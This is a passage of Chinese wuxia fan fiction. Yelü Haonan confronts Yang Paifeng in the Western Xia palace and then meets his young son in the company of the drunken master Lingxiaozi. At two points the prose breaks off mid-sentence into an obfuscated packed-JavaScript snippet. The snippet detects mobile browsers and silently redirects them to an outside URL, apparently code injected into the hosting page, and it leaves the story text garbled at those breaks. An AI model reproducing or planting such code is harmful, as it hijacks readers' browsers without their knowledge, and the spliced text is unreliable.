经过一处廊柱时,那柱上蟠龙石雕在灯光下张牙舞爪。走在前方的耶律皓南,脚步几不可察地缓了半分,以极低、极快的契丹语,仿佛自言自语,又似风吹过廊檐的呜咽,送入紧随其后的杨排风耳中: “阵眼……朔日卯时……移位。” 杨排风心脏狂跳,面上却不敢有丝毫异样,脚步甚至未曾停顿,依旧低眉顺眼地扶着顾小怜。然而,就在与耶律皓南身影交错而过的瞬间,她扶在顾小怜臂下的那只手,指尖以肉眼难辨的速度疾弹! 一枚比米粒稍大、以特殊蜡封裹得严实的小丸,无声无息地划过一道微不可见的弧线,精准地落入耶律皓南因行走而微微敞开的阔大袖袍之中。 蜡丸之内,是她离开大相国寺前,从狄青处得来、又经顾小怜以药性激发过的数粒辟煞金刚杵碎屑。此物至阳至刚,专克阴邪煞气,正是这天魔阵无形煞力的天然克星。 雨声哗啦,淹没了这瞬间的交错与传递。 他们不曾对视,不曾驻足,甚至不曾有任何超出主仆身份的接触。身影在宫灯下拉长,交错,又迅速分离,朝着偏殿深处行去,仿佛只是这深宫雨夜中,毫不相干的陌路人。 然而,只有他们自己知道。 在这危机四伏、杀机暗藏的西夏王庭深处,在这漫天的雨幕与厚重的阴谋之下,他们这两个本该势不两立、恩怨纠缠的人,却在这一刻,因着那共同的血脉、共同的恐惧,成为了暗夜中唯一可以彼此交付一线生机、背靠背迎接风暴的—— 同盟。 ------ 月夜,西夏宫廷别苑僻静处 夜色已深,雨势渐歇,乌云散开些许,漏下清冷的月光,如水银泻地,将这座位于王宫僻静角落的“观星”别苑照得一片朦胧惨白。白日里精巧的亭台楼阁,在月光下只剩下黑黢黢的轮廓,宛如蛰伏的巨兽。 杨排风借口为顾小怜煎制安神汤,独自一人提着小小的宫灯,穿过寂静无人的回廊,走向苑内偏僻处的小厨房。夜风穿过廊柱,带着雨后泥土的腥气和远处宫殿尚未散尽的奢靡香气,让她心头莫名地发紧。 刚拐过一处嶙峋的假山石,踏入一片被高墙阴影完全笼罩的角落—— 一道黑影如同鬼魅般,自她身后猛地欺近!带着一股熟悉的、混合着冷冽松香与极淡血腥气的压迫感! 杨排风甚至来不及惊呼,手腕已被一只铁钳般冰冷的大手死死扣住!力道之大,几乎要捏碎她的腕骨!宫灯脱手,“啪”地一声摔在地上,烛火瞬间熄灭,陷入一片更深的黑暗,只有清冷的月光从头顶高墙边缘吝啬地洒下几缕。 “呃!” 杨排风痛得闷哼一声,本能地奋力挣扎,另一只手曲指成爪,袭向对方咽喉要害! 却被对方另一只手轻而易举地格开,随即更加用力地将她整个人狠狠抵在身后冰冷粗糙的青石墙上!背脊撞上坚硬石壁,闷痛传来,让她眼前一黑。 “你竟敢……” 压抑到极致、仿佛从地狱深处挤出来的声音,在她头顶响起,每一个字都裹着暴怒的冰碴与焚心的毒火,耶律皓南的气息喷在她的额发上,滚烫而危险,“……竟敢混入这龙潭虎穴……还将我儿子……交给那个终日醉醺醺、行事荒唐、游戏人间的老疯子!!” 借着稀薄月光,杨排风终于看清了近在咫尺的这张脸。依旧是那副深刻如刻的容颜,只是此刻苍白得毫无血色,眼底猩红血丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185031|196997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纵横翻涌,如同濒临失控的凶兽。他额角、颈侧的青筋因极度愤怒而根根暴起,在月光下清晰可见,为他平添十分的狰狞与……一丝不易察觉的狼狈。 “你知不知道凌霄子是什么人?!” 耶律皓南五指如铁箍,几乎要嵌进她的皮肉里,声音嘶哑,字字如刀,劈头盖脸砸下,“他高兴了能拿镇派之宝‘辟星盘’去跟西域胡商换一壶葡萄美酒!醉了能在华山之巅睡三天三夜,不管山下洪水滔天!他带出的弟子,十个有九个最后都学得疯疯癫癫,不成体统!你把我儿子……我唯一的骨血……交给这么个不靠谱的老疯子!杨排风,你安的什么心?!你是想让我断子绝孙,还是想让孩子跟他一样,变成个没心没肺、游戏人间的怪物?!啊?!” 最后一声质问,几乎是低吼出来,在寂静的角落回荡,震得杨排风耳膜嗡嗡作响。 无尽的委屈、恐惧、多年压抑的怨恨,被他这蛮横无理的指责瞬间点燃!杨排风停止挣扎,仰起脸,泪光在眼眶中疯狂打转,却被她死死忍住,倔强地不肯落下。她看着他因暴怒而扭曲的脸,忽然觉得无比荒唐,也无比悲凉。 “耶律皓南!” 她声音颤抖,却带着一种豁出去的尖锐,每个字都淬着血与泪,狠狠回敬过去,“当日天门阵前,你为炼邪阵,一剑穿胸,可曾念及你我之间……哪怕半分情意?!可曾想过你可能会有一个孩子?!可曾想过我会如何?!” 她喉间哽咽,泪水终于控制不住,冲破堤防,汹涌而下,却依旧死死瞪着他,字字泣血: “当年…..天下人皆视你为魔头,欲除之而后快!你的儿子,生来便背负你的罪业与天下人的杀意!除了师叔……除了那个你口中‘不靠谱的老疯子’,这茫茫人世,刀剑环伺,阴谋遍布,你告诉我……我还能信谁?!我还能将我们的孩子,托付给谁?!你说啊!” “你……” 耶律皓南如遭九天惊雷劈中,扣着她的五指骤然一松,整个人如被抽去了脊骨般,踉跄着后退了半步,瞳孔剧烈收缩,脸上血色尽褪,比月光更白。 杨排风的眼泪,和她那一声声泣血的质问,像一根根淬了冰的毒针,精准无比地扎进他刚刚归位、尚且脆弱的心脏深处!那里,新换的心脏因这剧烈的情绪冲击而突突狂跳,几乎要炸开!与此同时,天门阵反噬残留的隐痛,与六年前自剜心窍的旧伤,在此刻轰然共鸣,炸开一片席卷全身的、撕裂灵魂般的剧痛! 他眼前发黑,耳中轰鸣。 他想起了天门阵前,自己染血的剑尖,想起了决绝背后那连自己都不愿深究的、一丝茫然的空洞。更想起了暗卫不久前拼死送回的情报中,关于师叔凌霄子近日行踪的描述——那老家伙确实拎着个孩子的后衣领,在闹市买糖葫芦,哼着荒腔走板的曲子,醉眼朦胧,引得路人侧目…… 可这一切,叫他如何说出口?难道要他承认,自己如今虽原心归位,但经脉初通,功力未复,连最基本的御风术都难以顺畅施展,更遑论从李元昊这龙潭虎穴、重重守护的天魔阵眼中,硬抢出幼子? 对师叔“不靠谱”、“老疯子”的暴怒斥责,剥开那层愤怒的外衣,内里藏着的,何尝不是对自己此刻无能为力的恐慌与迁怒?是对无法保护血脉、必须将希望寄托于他人的深切恐惧与不甘? 杨排风怔住了,忘记了挣扎,也忘记了流泪,只是怔怔地望着他。 月光下,耶律皓南脸上的暴怒戾气正在急速消退,取而代之的是一种近乎茫然的苍白,与深藏在眼底、几乎要满溢出来的、近乎恐慌的焦灼。他紧抿的嘴唇在微微颤抖,扣着她手腕的力道早已松懈,那只手冰凉,甚至……也在细微地颤抖。 这是她六年来,从未在耶律皓南脸上看到过的神情。哪怕是当年一线天下濒死之时,他也不曾流露出如此清晰的、属于“人”的脆弱与恐惧。 一股寒意,混杂着说不清道不明的、细细密密的酸楚,悄然漫上杨排风的心头,冻结了血液,也模糊了视线。 原来……这个翻手为云覆手为雨、心狠手辣算无遗策的魔头,也会怕。 怕失去。 怕无能。 怕这世间,终究有他掌控不了、力所不及的事,关乎他在乎的人。 就在两人僵持在这清冷月光与厚重阴影交界处,空气凝滞得令人窒息之时—— “啧啧啧,两个小古板,三更半夜不睡觉,躲在这儿吵吵嚷嚷,吵得老子酒都醒了!赔钱!” 墙头忽地传来一声懒洋洋、带着浓浓睡意与不满的笑骂。 杨排风和耶律皓南悚然一惊,齐齐抬头! 只见不远处宫殿的飞檐翘角上,不知何时蹲了一个人。那人一身西夏宫廷低级侍卫的服饰,皱巴巴如同腌菜,穿得歪歪斜斜,帽子扣在脑后,露出一头乱蓬蓬的花白头发。他一手撑着屋檐,另一只手拎着个硕大的、油光发亮的酒葫芦,正随着他跷起的二郎腿一晃一晃。月光勾勒出他瘦削的身影,脸上带着宿醉未醒的潮红,眼神却清亮得诡异,正饶有兴味地低头瞅着墙下僵立的两人。 正是凌霄子! “说你蠢,你还不认!” 凌霄子伸出脚尖,虚虚点了点下面的耶律皓南,语气满是恨铁不成钢的嫌弃,“我师兄陈希夷那个老古板,早八百年前就掐着胡子算到,你这头倔驴迟早要走上剜心换命的邪路,把自己折腾得人不人鬼不鬼!他在华山那个老鼠洞似的石室里,早给你留了后手——就等着你哪天在外面撞南墙撞得头破血流、走投无路了,自己灰溜溜滚回去找呢!” 他灌了一口酒,又扭头冲呆若木鸡的杨排风挤了挤眼睛,语气轻松得像在聊家常: “还有你这丫头,发什么愣?速去顾小怜那女娃儿住处!李元昊那小崽子派出的暗卫‘夜枭’,这三天已经往她那破草庐摸了三趟了!再晚些去,她那‘苦儿’情郎心心念念的宝贝旗子,还有她偷偷摸摸仿制的那面玩意儿,怕是都要改姓西夏,进李元昊的库房落灰喽!” 耶律皓南脸色骤然剧变,失声低吼:“师叔!你怎会知晓……” 他怎会知晓华山石室有后手?又怎会对李元昊的暗卫动向了如指掌? “老子怎会知晓?” 凌霄子嗤笑一声,忽然从高高的飞檐上一跃而下!身影如一片毫无重量的落叶,轻飘飘落在耶律皓南面前,带起一阵浓烈的酒气。 不等耶律皓南反应,凌霄子抬手,一巴掌结结实实地拍在他的后心! “啪!” 声音清脆。耶律皓南浑身一震,只觉得一股温润醇和、浩大磅礴的内力,如同初春化冰的暖流,自后心“灵台穴”沛然涌入,瞬间游走于他因换心、反噬而多处滞涩、隐隐作痛的奇经八脉!所过之处,淤塞顿开,刺痛锐减,一种前所未有的舒畅感蔓延开来,连那颗狂跳不休的心脏,都似乎被这股力量轻柔地抚平、安抚。 “你十多岁拜在陈希夷门下,半夜不好好睡觉,偷练那凶险无比的‘星移斗转’,结果差点走火入魔,经脉逆冲,痛得满地打滚,是谁发现的?又是谁懒得去找解药,直接拎着酒坛子,给你灌了三大口烈酒,用酒气强行冲开你闭塞的脉门,把你从鬼门关拉回来的?啊?!” 凌霄子吹胡子瞪眼,指着耶律皓南的鼻子骂,“你个没良心的小兔崽子!过了几年舒坦日子,当了几天辽国的国师,就把救命之恩忘到狗肚子里去了?还敢在背后编排老子是‘老疯子’、‘不靠谱’?!” 他骂骂咧咧,越说越气,一把扯住耶律皓南的衣袖,不由分说就往阴影更深处拖: “废话少说!跟老子走!带你去见见那个被你这‘不靠谱的老疯子’师叔,养得白白胖胖、能上房揭瓦、还会背《南华经》的小崽子!省得你整天疑神疑鬼,觉得老子把你儿子带沟里去了!” 杨排风怔怔地站在原地,看着那一老一少拉扯着,身影迅速没入宫殿投下的浓重黑暗之中,消失不见。月光重新洒满这片僻静的角落,只剩她,和地上那盏早已熄灭、摔破的宫灯。 夜风吹过,带来远处隐约的更鼓声。 耶律皓南被凌霄子拽着踉跄离去时,那宽大的、沾着夜露的袖角,无意中轻轻擦过了她垂在身侧、依旧有些颤抖的手背。 那一触,即逝。 微凉,柔软。 却带着一种,她从未在他身上感受过的、慌乱的余温,与一丝不易察觉的颤抖。 仿佛那个总是算无遗策、冷漠坚硬的壳,在方才那一刻,被师叔的巴掌和老底,以及她泣血的质问,敲开了一丝裂缝,露出了里面那个也会惶恐、也会无助的、真实的血肉之躯。 杨排风缓缓抬起手,看着自己的手背,那里仿佛还残留着那一抹短暂的、奇异的温度。 月光清冷,将她孤身只影,拉得很长,很长。 4. 父子初见 西夏皇宫地下密室 青铜炭炉中,上好的银骨炭烧得正旺,不时发出噼啪的轻微爆裂声,跳跃的橙红色火舌将整间不算宽敞的石室映照得温暖而亮堂,也在粗糙的石壁上投下晃动不安的巨大阴影。炉火之上,架着一根粗铁钎,一整只烤得外皮金黄焦脆、油脂四溢的肥嫩羊腿正串在上面,缓缓转动,显然是有人精心照看火候。滚烫的油脂不断从烤得酥脆的羊皮上滴落,砸入下方通红的炭火中,立时激起“滋啦”一阵欢快的响动,腾起阵阵带着焦香的白色烟雾,混合着羊肉特有的浓烈香气,充斥了整间密室,几乎盖过了石室本身阴冷的土腥气。 一个约莫五六岁的男孩,正盘腿坐在炉火旁一块铺着旧毡垫的青石上,埋头对付着手里那根几乎比他脸还大的烤羊腿。他吃得毫无章法,却也畅快淋漓,两只小手紧紧抓着骨头两端,小脸几乎要埋进肉里,啃得满手满脸都是亮晶晶、黏糊糊的油光,连小巧的鼻尖上都蹭了一块黑灰,自己却浑然不觉,只顾着大快朵颐,腮帮子鼓鼓囊囊地蠕动着,发出满足的哼哼声。 脚步声自唯一的狭窄入口石阶传来,由远及近。 男孩敏锐的耳朵动了动,啃肉的动作顿了顿,但没立刻抬头,只是乌溜溜的眼珠在浓密的睫毛下转了转,闪过一丝与他年龄不符的、小狐狸般的狡黠光芒。直到那脚步声停在石室入口,他才像刚发现似的,猛地抬起头,嘴里还叼着一大块肉,油汪汪的小脸转向来人。 首先映入眼帘的是自家师傅——那个总是一身皱巴巴衣服、满身酒气、却对他有求必应的凌霄子。男孩眼睛一亮,嘴里含糊地“唔”了一声算是招呼。紧接着,他的目光落在了师傅身后那个陌生的、高大的、穿着一身看起来就很贵很板正(虽然沾了灰)的深色衣服的男子身上。 那男子站在那里,身姿笔挺得像一把出了鞘的、沾着寒霜的剑,脸色有些苍白,眼神深得像不见底的寒潭,正用一种……嗯,男孩说不清楚,但那眼神复杂极了,像是震惊,像是狂喜,又像是不敢置信,死死地盯在他脸上,让他有点不自在,又有点莫名的……熟悉感? 电光石火间,男孩脑子里那点从师傅和娘亲(虽然见面很少)偶尔提及的模糊信息,与眼前这张虽然冷硬却异常英俊、尤其那眉眼轮廓让他觉得莫名顺眼的脸,诡异地重合了一瞬。 于是,在耶律皓南还沉浸在初见骨血的滔天巨震中,在凌霄子还没来得及开口介绍或者说胡诌的当口—— 男孩突然动了! 他像只蓄势待发、灵巧无比的小猴子,猛地从地上一跃而起!动作快得只留下一道残影!目标明确——直扑向站在前面的凌霄子! “师傅的衣服最好擦手!” 伴随着一声理直气壮、清脆响亮的嘟囔,男孩那双沾满了羊油和调料、在火光下亮得反光的小手,已然以迅雷不及掩耳之势,结结实实地、左右开弓地,拍在了凌霄子那件本就皱得不成样子的“锦袍”前襟上!甚至还意犹未尽地用力蹭了蹭,留下两团无比清晰、油腻腻的“小爪印”! “哎哟!小兔崽子!反了你了!” 凌霄子猝不及防,被蹭得一个趔趄,低头一看自己“心爱”的袍子,顿时“痛心疾首”地笑骂起来,伸手就去拎男孩的后衣领。 男孩却似乎早有预料,在凌霄子手指即将碰到他衣领的瞬间,借着被他“拎”起的力道,腰肢极为柔韧地一拧,小脚在凌霄子膝盖上轻轻一点,竟以一个漂亮利落的鹞子翻身,轻飘飘地落了地,稳稳站住,动作流畅得仿佛演练过千百遍。 然后,他抬起那张即便糊着油光也难掩精致灵秀的小脸,一双亮得惊人、瞳仁又黑又大、眼尾微微上挑的眸子,直勾勾地、毫无畏惧地,甚至带着点审视意味地,盯住了僵立在一旁、仿佛石化了的耶律皓南。 密室里火光跳跃不定,忽明忽暗的光线掠过男孩的脸庞,清晰地映照出他的眉眼轮廓——那挺直鼻梁的弧度,那微微上挑、带着几分天然风流的眼尾线条,那紧抿时显得格外执拗的唇形…… 竟与耶律皓南记忆中,幼时铜镜里那个总是绷着小脸、眼神孤傲的北汉小皇孙,如出一辙! 血液仿佛在瞬间冲上头顶,又在下一刻冻结。耶律皓南觉得自己像被钉在了原地,动弹不得。他设想过无数种与儿子初次相见的场景——或许是在某个血雨腥风的战场间隙,父子仓促相认,泪眼相对;或许是在解救人质后的废墟中,他抱着失而复得的骨肉,悲恸与庆幸交织;又或许是在未来某个尘埃落定的时刻,他需以父亲的身份,郑重地告知孩子身世与责任…… 却独独从未料及,会是这般荒诞不经、却又……鲜活到刺目的情形! 他为这孩子的安危心急如焚,日夜煎熬,不惜以身犯险潜入这龙潭虎穴般的西夏皇宫,甚至做好了最坏的打算。可这孩子呢?却在敌人巢穴的地下密室里,啃着香喷喷的烤羊腿,糊了满脸油光,还胆大包天地用他师叔祖(虽然不靠谱)的衣服擦手!此刻,更用那双油亮亮、黑葡萄似的眼睛,毫不客气地打量着他,然后语出惊人—— 男孩歪着头,将他从头到脚,又从脚到头扫视了两遍,小眉头微微蹙起,仿佛在评估一件不太满意的货物。半晌,他忽然开口,嗓音清脆稚嫩,语气却带着一种近乎老气横秋的笃定: “你——” 他伸出那根还带着油光的食指,遥遥一点耶律皓南的鼻尖,“就是我那个传说中很厉害、但又好像干了挺多坏事的爹?” 不等耶律皓南从这石破天惊的“认亲”方式中回过神来,男孩已经自顾自地点了点头,仿佛对自己的判断十分满意,然后小嘴一撇,带着点显而易见的“失望”和“挑剔”,继续说道: “嗯……看着也没师傅和娘说的那么聪明厉害嘛,” 他目光在耶律皓南苍白的脸色和眼下的青影上转了转,又补了一句,“而且……有点老啊。” “老”字一出,耶律皓南眼角几不可察地抽搐了一下。 然而,男孩话锋又是一转,咧嘴一笑,露出两颗尖尖的、闪着瓷白光泽的小虎牙,那笑容竟有几分耶律皓南自己都未曾察觉的、带着邪气的俊俏影子: “不过嘛——” 他拖长了调子,大眼睛完成月牙,“还挺帅的!” 他挺了挺小胸脯,扬起沾着油光的下巴,一副“我将来肯定青出于蓝”的傲娇模样: “等我长大了,一定比你帅!” “……” 耶律皓南彻底僵在了原地,如同被一道无形的惊雷劈中,外焦里嫩,魂飞天外。 一股混杂着极致荒诞、震怒、哭笑不得,以及更深层的、连他自己都未曾预料到的酸软悸动的情绪,如同决堤的洪水,猛地冲上喉头,堵得他几乎无法呼吸,脚下竟微微一个踉跄,后退了半步才稳住身形。 他张了张口,喉咙干涩发紧,想厉声斥责“成何体统!身为……岂可如此仪态尽失、口无遮拦!” 想急切追问“你可知此刻身处何地?那西夏国主李元昊正要抽你元神炼阵!” 想询问他这些年过得如何,想告诉他……自己是他的父亲。 可千言万语,在触及男孩那双清澈透亮、毫无阴霾、甚至带着点顽皮笑意的眼睛时,在闻到空气中浓郁的烤羊腿香气和男孩身上传来的、混合着奶味与油腥的、属于鲜活生命的温暖气息时,全都死死地卡在了喉咙深处,一个字也吐不出来。 最终,只化作一声破碎的、干哑得不像他自己声音的: “你……” 火光摇曳,将男孩灵动的身影与稚嫩却已见俊秀轮廓的脸庞,与耶律皓南记忆最深处、那个七岁亡国、被迫跳下悬崖、从此人生只剩冰冷与仇恨的幼年自己,重重叠叠在一起。 他曾以为,复国雪耻是毕生执念,是流淌在刘氏皇孙血脉里的宿命。他曾以为,炼就天门阵、掌控无上力量是证明自己、向命运复仇的唯一途径。那些野心、算计、鲜血、阴谋,构成了他过去三十多年人生的全部重量。 可此刻,看着眼前这个油光满面、古灵精怪、会嫌弃他“老”、会自恋将来“更帅”的鲜活小生命,那些曾经坚不可摧的信念、那些沉重如山的野心与仇恨,竟仿佛被这只油乎乎的烤羊腿,和男孩脸上那抹纯粹明亮的笑容,撞得摇摇欲坠,露出底下连他自己都陌生的空洞与茫然。 他下意识地,缓缓抬起手,那只曾执剑杀人、也曾刻划阵法、沾染过无数鲜血与罪孽的手,带着不易察觉的颤抖,想要去触碰一下男孩沾着油光、却温热柔软的小脸。想要确认,这不是幻梦,不是镜花水月。 然而,指尖在即将触及男孩肌肤的刹那,倏然停在了半空。 这六年缺席的、未曾尽过一日父亲职责的深深愧疚,如同冰冷的潮水,将他瞬间淹没。与眼前这孩子蓬勃、灵动、充满无限可能性的鲜活生命力相比,他那充满了黑暗、算计、孤独与痛苦的过往,显得如此苍白而……不堪。 他,有何资格? ------ 凌霄子抱臂倚在冰凉的石墙边,看似漫不经心地把玩着腰间那个油光发亮的酒葫芦,眼神在耶律皓南和男孩之间来回瞟,嘴角挂着一丝看好戏的、欠揍的笑意。然而,在那双总是醉意朦胧的老眼深处,却闪过一丝几不可察的、得逞的锐利光芒。 油手擦衣,是他故意纵容,甚至暗示范的——美其名曰“不拘小节,方得真趣”。 烤羊腿,是他特意弄来,在这危险之地也要让孩子吃好——理由是“天大地大,吃饭最大”。 连那番“有点老”、“没传说中聪明”、“等我长大比你帅”的“大逆不道”点评,也少不了他平日“谆谆教诲的“功劳”。 他就是要让耶律皓南这个固执、阴沉、钻惯了牛角尖的傻师侄亲眼看看,血脉的延续、生命的鲜活、人间烟火的温暖,远比那些冰冷沉重、虚无缥缈的复国执念、权力野心,更真实,更灼热,更能撼动人心。 看看你这傻小子,还怎么摆出一副苦大仇深、背负全天下的死人脸! ------ “喏!给你留的!” 就在耶律皓南心神剧震、手指僵在半空、内心天人交战之际,男孩——刘朔(凌霄子取的名,意为“朔方之星”,暗合武曲与北地)——却像是完全没感受到那股凝滞沉重的气氛,也没注意到父亲那复杂到极点的眼神。他忽然伸出油乎乎的小手,“咔嚓”一声,极其熟练地掰下了羊腿上最肥美、烤得最酥香的那一大块肉! 然后,他踮起脚尖,小脸因用力而微微泛红,毫不犹豫地、极其自然地将那块还冒着热气、滴着亮晶晶油脂的羊肉,塞到了耶律皓南僵在半空、忘了收回的手中! 动作自然流畅得仿佛他们不是初次见面、相隔六年生死两茫茫的父子,而是日日相见、亲密无间,儿子给忙碌归家的父亲留了最好吃的那一口。 温热的油脂瞬间透过薄薄的羊肉,洇湿了耶律皓南质料名贵、却沾了尘灰的深紫色官服袖口,留下一个清晰的、带着食物香气的油印。 耶律皓南却浑然不觉。 他所有的感官,所有的注意力,此刻都死死地钉在塞入掌心的那块温热的羊肉上,钉在男孩踮脚时仰起的、亮晶晶的、带着毫不设防的亲昵与分享喜悦的眼眸中。 那一刻—— 万千心绪,如沉寂了万年的火山,轰然喷发,席卷了他所有的理智与防线! 有血脉相连、灵魂共鸣的剧烈悸动,如同最古老的咒语被唤醒,在他四肢百骸中奔腾呼啸。 有六年缺席、未曾陪伴一日、甚至不知其存在的、噬心蚀骨的愧疚与痛楚,几乎要将他淹没。 有对其身陷敌窟、安危未卜的、焚心蚀骨的担忧与恐惧,瞬间攫紧了他的心脏。 更有对其聪慧灵动、胆大心细、在如此险境仍能保持这份鲜活与赤子之心的、难以言喻的欣慰与骄傲,混杂着酸楚,涌上眼眶,阵阵发热。 而所有那些曾视为生命全部意义的宏图霸业、复国野心、算计阴谋,在这一刻,似乎都被眼前这张沾满油光、却笑得毫无阴霾、眼神清澈透亮的小脸,被掌心这块普通却滚烫的羊肉,冲撞得支离破碎,褪去了所有色彩,变得遥远而模糊。 原来,这就是为人父的感觉。 原来,这世间真有比江山更重,比宿命更难以割舍的东西。 ------ 密室烛火摇曳,烤羊腿的油脂滴入炭火,滋滋作响 凌霄子大大咧咧地将一本非帛非纸、触手生温、泛着淡淡陈旧檀木香气的古老卷册,不由分说地塞进了耶律皓南僵硬的怀里。 那卷册显然年代久远,边缘已有磨损,但保存得极好。卷首以古朴苍劲的古篆写着四个大字——《紫微补天诀》。墨迹并非寻常黑色,而是一种暗金之色,在烛火映照下,竟似有细碎的星辉缓缓流转,透着一股神秘浩瀚的气息。 耶律皓南的指尖刚一触到那冰冷却又隐隐发烫的书卷,浑身便如遭电击般猛地一颤!仿佛握住的不是书,而是一块烧红的烙铁,烫得他灵魂都在战栗!他整个人控制不住地踉跄了半步,脸色瞬间苍白如纸,嘴唇剧烈地哆嗦起来,盯着那熟悉的字迹,嗓音沙哑破碎得几乎不成调子: “这…这是……师傅的笔迹……” 他每一个字都说得极其艰难,仿佛用尽了全身力气,“可师傅他……早已将我逐出师门……我…我还亲手……” “杀师”二字,如同烧红的铁钉,死死卡在喉咙间,沉重得如同生锈的铁块黏连撕扯,带着血腥气,无论如何也吐不出来。他眼底血丝骤然迸现,如同蛛网瞬间爬满眼球,六年来的负罪感、自我厌弃、夜夜梦魇,此刻化作最毒的藤蔓,疯狂地绞紧了他刚刚归位、尚在悸动的心脏!连呼吸都变得窒涩难言,胸膛剧烈起伏,仿佛下一秒就要窒息。 “啧!逐出师门?” 凌霄子极其不耐烦地用小指掏了掏耳朵,仿佛听到了什么天大的笑话,翻了个巨大的白眼,嗤笑道: “我师兄陈希夷那个老古板,逐我出师门少说也有八百回了!哪次不是他自己在洞府里生几天闷气,气消了,又屁颠屁颠地跑来找我论道、下棋、偷我酒喝?” 他凑近一步,身上浓烈的酒气混合着羊膻味直冲耶律皓南的鼻腔,枯瘦却有力的手指几乎要戳到耶律皓南的鼻梁上,语气变得少有的锐利与恨铁不成钢: “我告诉你,皓南!别把自己那点事儿看得比天还大!师兄他老人家,早就算到自己大限将至,寿元已尽!他那会儿就是个强撑着不肯闭眼、油尽灯枯的老家伙了!跟你动手的时候……” 凌霄子顿了顿,眼中闪过一丝复杂的情绪,声音压低,却字字如锤,砸在耶律皓南心口,“他元神怕是都快散干净了,就剩个空架子!你没察觉吗?他最后几乎没还手!剑气看着厉害,后继无力!他看你的眼神……笨死了!难怪你儿子都说你笨!” 耶律皓南如遭九霄惊雷连续劈中,脑中轰然炸开,一片空白!只剩下当年华山之巅,与师傅陈希夷决战的画面,不受控制地、一幕幕清晰闪现—— 是的……师傅的剑气,初时凌厉无匹,可越到后来,越是虚浮……最后那一击,他以为自己拼尽全力才险胜,如今回想,分明是师傅的剑势……自己散了。 师傅最后看他的眼神,复杂得他多年无法读懂,有痛心,有决绝,有一丝解脱,如今想来,那深处藏着的,哪里是“失望”?分明是诀别前的枯寂、了然,与一丝……如释重负? 师傅直至最后,仍在用他的方式,逼他斩断依赖,逼他独自面对选择与后果,独自前行…… “所以…师傅他…并非……我所杀…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185032|196997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 耶律皓南踉跄着,猛地扶住身后冰凉粗糙的石壁,才勉强稳住摇摇欲坠的身形。他指节攥得死白,指甲深深掐进掌心,渗出血丝也浑然不觉。心中那座压了六年、名为“弑师”的沉重冰山、罪孽枷锁,在这一刻,轰然裂开无数道缝隙!冰层之下,并非解脱的轻松,而是更汹涌、更澎湃、几乎要将他淹没的——山海般浩瀚深沉的师恩、愧疚与悔痛!原来,他恨了这么多年,也自我放逐了这么多年,竟是一场……误会?一场师傅刻意引导的、残酷的成全? “哎哟!我的袍子!” 就在耶律皓南心神俱震、魂魄几乎出窍之际,凌霄子杀猪般的惨叫陡然响起,将他硬生生拉回现实! 只见凌霄子猛地揪起自己袖口——那里,赫然是刚才被刘朔当“擦手布”蹭上的、两团亮晶晶、油腻腻的“小爪印”,在烛光下反着罪恶的光。 “我这件可是南海鲛绡纱混着天山金雪蚕丝织的‘流云缎’!去年跟那个波斯胡商赌酒,赢了他三百两金子才换来的!就这一件!” 凌霄子痛心疾首地嚎道,枯瘦的指尖直接戳到了耶律皓南的鼻梁前,唾沫星子几乎喷到他脸上: “这油渍!渗进金丝就得褪色!洗都洗不掉!完了完了!三百两金子啊!你这当爹的,赶紧赔——子债父偿,天经地义!” 耶律皓南还沉浸在“师傅非己所杀”的滔天巨震与情感漩涡中,被这突如其来的“索赔”弄得一脸茫然,嘴角不受控制地抽搐了一下。三百两金子……一件袍子? “师傅你又骗人!” 清脆稚嫩的童音,如同碎玉砸在青石板上,突然响起,打破了这荒谬的索赔现场。 只见刘朔不知何时又蹭了过来,伸出一根还带着油光的小手指,拽了拽凌霄子那件“价值三百金”的锦袍下摆处,一个明显磨损、甚至起了毛边的破口,仰着小脸,黑白分明的大眼睛里满是“你休想骗我”的了然,脆生生地揭穿: “这袍子明明是汴京东市‘陈记估衣铺’三十个大钱买的二手货!你昨天还跟我说,穿它去……唔!” “去”字后面的话还没出口,凌霄子已经眼疾手快,一把捂住了刘朔的嘴,老脸瞬间涨得通红,如同煮熟的虾子,气急败坏地压低声音: “小混蛋!三十个大钱的袍子不是袍子啊?啊?老子穿它就不能是品味独特、返璞归真啊?” 然而,刘朔早已灵巧得像条小泥鳅,脖子一缩,就从凌霄子的“魔掌”下挣脱出来,还不忘朝他做了个鬼脸。然后,他转向还有些发懵的耶律皓南,小脸一板,伸出油乎乎的手指,如数家珍般,开始清晰流利地报菜名,语气理所当然,仿佛在说今天天气真好: “封口费!” 刘朔挺起小胸脯,伸出三根手指,一根一根掰下去,“明天我要吃——蟹黄毕罗、驼蹄羹、雪婴儿、金齑玉鲙!” 顿了顿,又伸出一根手指,补充道,“还要一壶三勒浆!要西域来的,不要掺水的!” “……” 耶律皓南彻底愣住了。 他上一刻还沉浸在师恩如山、愧疚如海的滔天情绪中,下一刻就被这从天而降的“养家糊口”压力和儿子熟练点菜讨价还价的场面,猛地拽回了烟火人间的现实。 三百两金子……三十个大钱…… 蟹黄毕罗、驼蹄羹…… 幼时在北汉皇宫,虽贵为皇孙,但国势衰微,宫中用度紧张的记忆翻涌而上。他曾为争夺一只鸡腿,与堂兄弟打架,险些从假山上摔下断了腿……那种刻入骨髓的、对食物匮乏的恐惧与渴望…… 他目光复杂地扫过儿子亮晶晶的、充满期待的黑眸,又瞥见师叔袖口那磨得起毛、线头都冒出来的、所谓的“流云缎”…… 